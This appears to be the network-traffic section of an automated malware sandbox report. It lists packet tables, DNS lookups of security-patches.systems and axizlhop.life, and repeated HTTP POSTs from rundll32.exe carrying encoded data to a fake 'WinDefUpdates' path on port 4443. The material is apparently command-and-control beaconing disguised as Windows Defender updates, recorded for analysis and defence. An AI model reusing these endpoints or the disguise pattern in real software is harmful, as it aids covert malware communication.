Dec 6, 2024 22:21:24.513633013 CET	49891	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:24.633610010 CET	4443	49891	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:24.634874105 CET	49891	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:24.636548042 CET	49891	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:24.756726027 CET	4443	49891	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:26.069452047 CET	4443	49891	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:26.071214914 CET	49891	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:26.192174911 CET	4443	49891	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:26.192420959 CET	49891	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:26.295922041 CET	49895	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:26.416107893 CET	4443	49895	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:26.416177988 CET	49895	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:26.417602062 CET	49895	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:26.537514925 CET	4443	49895	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:27.990735054 CET	4443	49895	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:27.993623018 CET	49895	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:28.115586996 CET	4443	49895	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:28.116265059 CET	49895	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:28.123572111 CET	49901	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:28.246088028 CET	4443	49901	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:28.246284008 CET	49901	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:28.247754097 CET	49901	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:28.369724989 CET	4443	49901	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:29.766406059 CET	4443	49901	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:29.768074036 CET	49901	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:29.888292074 CET	4443	49901	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:29.888362885 CET	49901	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:29.917454958 CET	49906	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:30.039367914 CET	4443	49906	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:30.039454937 CET	49906	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:30.041013956 CET	49906	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:30.160902977 CET	4443	49906	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:31.503984928 CET	4443	49906	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:31.505597115 CET	49906	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:31.627563000 CET	4443	49906	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:31.627620935 CET	49906	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:31.646811962 CET	49910	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:31.766736984 CET	4443	49910	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:31.766822100 CET	49910	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:31.768332005 CET	49910	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:31.888309956 CET	4443	49910	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:33.298293114 CET	4443	49910	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:33.300085068 CET	49910	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:33.420185089 CET	4443	49910	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:33.420270920 CET	49910	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:33.439543962 CET	49912	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:33.560667992 CET	4443	49912	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:33.560862064 CET	49912	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:33.562880039 CET	49912	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:33.682770014 CET	4443	49912	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:35.027105093 CET	4443	49912	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:35.028640985 CET	49912	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:35.148940086 CET	4443	49912	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:35.149007082 CET	49912	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:35.173347950 CET	49917	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:35.293036938 CET	4443	49917	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:35.293124914 CET	49917	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:35.294671059 CET	49917	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:35.415498018 CET	4443	49917	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:36.738509893 CET	4443	49917	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:36.740200043 CET	49917	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:36.860483885 CET	4443	49917	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:36.860570908 CET	49917	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:36.876554012 CET	49922	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:36.996489048 CET	4443	49922	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:36.996583939 CET	49922	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:36.998045921 CET	49922	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:37.118012905 CET	4443	49922	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:41.590828896 CET	4443	49922	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:41.595289946 CET	49922	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:41.715351105 CET	4443	49922	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:41.715403080 CET	49922	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:41.735939980 CET	49932	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:41.855721951 CET	4443	49932	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:41.855803967 CET	49932	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:41.857400894 CET	49932	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:41.977207899 CET	4443	49932	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:43.273221970 CET	49938	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:43.273277044 CET	443	49938	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:43.273485899 CET	49938	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:43.285878897 CET	49938	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:43.285896063 CET	443	49938	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:43.296139956 CET	4443	49932	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:43.301651955 CET	49932	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:43.424221992 CET	4443	49932	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:43.428210974 CET	49932	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:43.436979055 CET	49939	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:43.556710005 CET	4443	49939	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:43.557110071 CET	49939	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:43.558464050 CET	49939	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:43.678301096 CET	4443	49939	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:44.831145048 CET	443	49938	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:44.831262112 CET	49938	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:45.104841948 CET	4443	49939	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:45.109823942 CET	49939	4443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:21:45.234509945 CET	4443	49939	185.234.216.175	192.168.2.4
Dec 6, 2024 22:21:45.234565973 CET	49939	4443	192.168.2.4	185.234.216.175

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 22:19:35.483716965 CET	55315	53	192.168.2.4	1.1.1.1
Dec 6, 2024 22:19:35.625550032 CET	53	55315	1.1.1.1	192.168.2.4
Dec 6, 2024 22:19:39.979700089 CET	58221	53	192.168.2.4	1.1.1.1
Dec 6, 2024 22:19:40.118748903 CET	53	58221	1.1.1.1	192.168.2.4
Dec 6, 2024 22:20:04.463222980 CET	63193	53	192.168.2.4	1.1.1.1
Dec 6, 2024 22:20:04.602116108 CET	53	63193	1.1.1.1	192.168.2.4
Dec 6, 2024 22:21:07.772567987 CET	57298	53	192.168.2.4	1.1.1.1
Dec 6, 2024 22:21:08.400990963 CET	53	57298	1.1.1.1	192.168.2.4
Dec 6, 2024 22:21:43.129338026 CET	53964	53	192.168.2.4	1.1.1.1
Dec 6, 2024 22:21:43.267827034 CET	53	53964	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 22:19:35.483716965 CET	192.168.2.4	1.1.1.1	0x2af3	Standard query (0)	axizlhop.life	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:19:39.979700089 CET	192.168.2.4	1.1.1.1	0x5aa8	Standard query (0)	security-patches.systems	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:20:04.463222980 CET	192.168.2.4	1.1.1.1	0xae17	Standard query (0)	security-patches.systems	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:21:07.772567987 CET	192.168.2.4	1.1.1.1	0x6476	Standard query (0)	security-patches.systems	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:21:43.129338026 CET	192.168.2.4	1.1.1.1	0xdb6b	Standard query (0)	security-patches.systems	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 22:19:35.625550032 CET	1.1.1.1	192.168.2.4	0x2af3	No error (0)	axizlhop.life	104.21.40.3	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:19:35.625550032 CET	1.1.1.1	192.168.2.4	0x2af3	No error (0)	axizlhop.life	172.67.172.216	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:19:40.118748903 CET	1.1.1.1	192.168.2.4	0x5aa8	No error (0)	security-patches.systems	185.234.216.175	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:20:04.602116108 CET	1.1.1.1	192.168.2.4	0xae17	No error (0)	security-patches.systems	185.234.216.175	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:21:08.400990963 CET	1.1.1.1	192.168.2.4	0x6476	No error (0)	security-patches.systems	185.234.216.175	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:21:43.267827034 CET	1.1.1.1	192.168.2.4	0xdb6b	No error (0)	security-patches.systems	185.234.216.175	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

axizlhop.life

security-patches.systems

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:04.737658024 CET	741	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 525 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 42 62 6c 64 47 61 43 49 36 49 6e 4e 30 56 33 45 31 4b 32 78 43 52 6e 67 7a 5a 6d 70 42 50 54 30 69 4c 43 4a 47 63 33 52 4d 49 6a 6f 69 63 54 68 79 54 6a 64 77 54 58 42 43 62 6b 74 70 61 57 67 30 52 58 5a 57 61 6c 4d 78 55 6b 55 39 49 69 77 69 53 47 52 57 55 58 42 42 49 6a 6f 69 63 69 38 72 52 6a 5a 6a 51 6a 4a 4d 56 6c 68 71 49 69 77 69 55 55 5a 61 65 57 6c 70 56 56 68 5a 49 6a 6f 69 4d 58 4a 71 56 47 74 4b 54 54 67 69 4c 43 4a 53 59 6d 39 30 49 6a 6f 69 64 57 4e 68 65 54 51 72 51 6c 64 44 4d 6c 68 6d 49 69 77 69 55 32 4a 61 56 32 35 59 49 6a 6f 69 4d 7a 64 71 55 6d 31 61 56 58 63 69 4c 43 4a 5a 61 30 70 58 49 6a 70 62 49 6e 52 50 61 55 77 69 58 53 77 69 59 32 5a 4c 57 43 49 36 49 6a 4a 6e 50 54 30 69 4c 43 4a 6f 54 6d 39 32 53 6d 30 69 4f 69 4a 77 4b 32 56 56 65 6d 4e 7a 63 30 5a 6f 62 58 5a 71 52 45 4a 69 4e 6c 56 58 63 6d 39 42 50 54 30 69 4c 43 4a 76 51 6e 56 4e 56 58 55 69 4f 69 4a 6f 54 32 46 50 65 6d 52 52 50 53 49 73 49 6e 4e 30 64 56 6b 69 4f 69 49 78 63 6d 70 61 62 [TRUNCATED] Data Ascii: data=eyJBbldGaCI6InN0V3E1K2xCRngzZmpBPT0iLCJGc3RMIjoicThyTjdwTXBCbktpaWg0RXZWalMxUkU9IiwiSGRWUXBBIjoici8rRjZjQjJMVlhqIiwiUUZaeWlpVVhZIjoiMXJqVGtKTTgiLCJSYm90IjoidWNheTQrQldDMlhmIiwiU2JaV25YIjoiMzdqUm1aVXciLCJZa0pXIjpbInRPaUwiXSwiY2ZLWCI6IjJnPT0iLCJoTm92Sm0iOiJwK2VVemNzc0ZobXZqREJiNlVXcm9BPT0iLCJvQnVNVXUiOiJoT2FPemRRPSIsInN0dVkiOiIxcmpabVE9PSIsInZvSmMiOiJtT2FxeXc9PSIsIndBY0giOiJxT0NPeWNzM2FnPT0iLCJ3UWVSSCI6IjJMM0E2czV3IiwieGVDY2pTIjoidS9xRjJnPT0iLCJ5aWlVWFkiOiJyYk84Lzg1cUlGLzR2QU42OVI2b29uNVRrd2w3ZGJvanhoUXdTVmdYRWdJPSJ9
Dec 6, 2024 22:20:06.201527119 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:06.365020990 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:07.810081005 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:08.075721025 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:09.544920921 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:09.812864065 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:11.274260998 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:11.531900883 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:13.011755943 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:13.302762032 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:14.785376072 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:15.071516037 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
